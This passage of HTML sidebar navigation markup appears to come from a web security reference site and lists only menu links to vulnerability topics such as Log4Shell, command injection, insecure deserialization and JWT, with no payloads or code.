||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CVE-2021-44228 Log4Shell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Clickjacking
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_14">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Clickjacking
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Clickjacking/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Clickjacking: Web Application Security Vulnerability
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Command Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_15">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Command Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Command%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Command Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DNS Rebinding
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_16">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
DNS Rebinding
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../DNS%20Rebinding/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DNS Rebinding
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Dependency Confusion
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_17">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Dependency Confusion
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Dependency%20Confusion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Dependency Confusion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Directory Traversal
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_18">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Directory Traversal
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Directory%20Traversal/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Directory Traversal
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Dom Clobbering
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_19">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Dom Clobbering
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Dom%20Clobbering/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Dom Clobbering
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
File Inclusion
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_20">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
File Inclusion
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../File%20Inclusion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
File Inclusion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Google Web Toolkit
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_21">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Google Web Toolkit
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Google Web Toolkit
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
GraphQL Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_22">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
GraphQL Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../GraphQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
GraphQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTTP Parameter Pollution
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_23">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
HTTP Parameter Pollution
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTTP Parameter Pollution
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hidden Parameters
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_24">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Hidden Parameters
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Hidden%20Parameters/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTTP Hidden Parameters
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Deserialization
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_25">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Deserialization
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
.NET Serialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Java Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Node Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
PHP Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Python Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Ruby Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/YAML/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
YAML Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Direct Object References
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_26">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Direct Object References
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Direct Object References
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Management Interface
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_27">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Management Interface
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Management Interface
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Randomness
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_28">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Randomness
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Randomness/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Randomness
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Source Code Management
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_29">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Source Code Management
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Source Code Management
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
JSON Web Token
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_30">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
JSON Web Token
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../JSON%20Web%20Token/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
JWT - JSON Web Token
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Java RMI
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_31">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Java RMI
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Java%20RMI/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Java RMI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kubernetes
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_32">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Kubernetes
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Kubernetes/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Kubernetes
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LDAP Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_33">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
LDAP Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../LDAP%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LDAP Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LaTeX Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_34">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
LaTeX Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../LaTeX%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LaTex Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Mass Assignment
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_35">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Mass Assignment
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Mass%20Assignment/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Mass Assignment
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Methodology and Resources
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_36">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Methodology and Resources
|
